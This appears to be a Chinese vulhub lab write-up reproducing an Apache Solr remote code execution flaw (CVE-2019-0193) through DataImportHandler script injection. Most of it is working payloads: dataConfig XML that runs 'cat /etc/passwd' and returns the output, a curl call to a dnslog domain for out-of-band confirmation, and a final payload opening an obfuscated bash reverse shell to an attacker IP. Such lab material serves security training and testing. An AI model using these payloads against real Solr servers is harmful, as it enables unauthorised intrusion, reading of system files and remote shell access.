Apache Solr RCE(CVE-2019-0193)--vulhub

Apache Solr RCE(CVE-2019-0193)

其原理主要基于Solr的DataImportHandler(数据导入处理器)模块,这个模块允许用户通过配置文件(dataConfig)来定义数据的导入过程,在dataConfig中,用户可以定义JavaScript函数来转换或处理数据。如果这些脚本没有得到适当的限制,攻击者可以利用这一点执行任意代码。

Apache Solr版本小于8.2.0

docker搭建需要额外一步

bash 复制代码
docker compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db  -force

漏洞复现

原始poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/ccc9wy");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

实现不了,更新了,但文件没创建

RCE

先在本机搭一个poc.xml

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

调整一下poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

抓个包查看一下,执行poc时抓包

放到重发器中可以看到命令执行结果

使用dnslog测试

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("curl n6xis3.dnslog.cn").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

执行后成功收到结果

反弹shell

bash 复制代码
/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

完整poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

成功获取反弹shell

相关推荐
世界尽头与你1 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
人良爱编程12 小时前
Hugo的Stack主题配置记录03-背景虚化-导航栏-Apache ECharts创建地图
前端·javascript·apache·echarts·css3·html5
JoySSLLian18 小时前
手把手教你安装免费SSL证书(附宝塔/Nginx/Apache配置教程)
网络·人工智能·网络协议·tcp/ip·nginx·apache·ssl
Apache Flink19 小时前
Apache Flink Agents 0.2.0 发布公告
大数据·flink·apache
枷锁—sha20 小时前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用1 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云
原来是你~呀~1 天前
Strix:AI驱动的全自动安全测试平台,LinuxOS部署
网络安全·自动化渗透测试·strix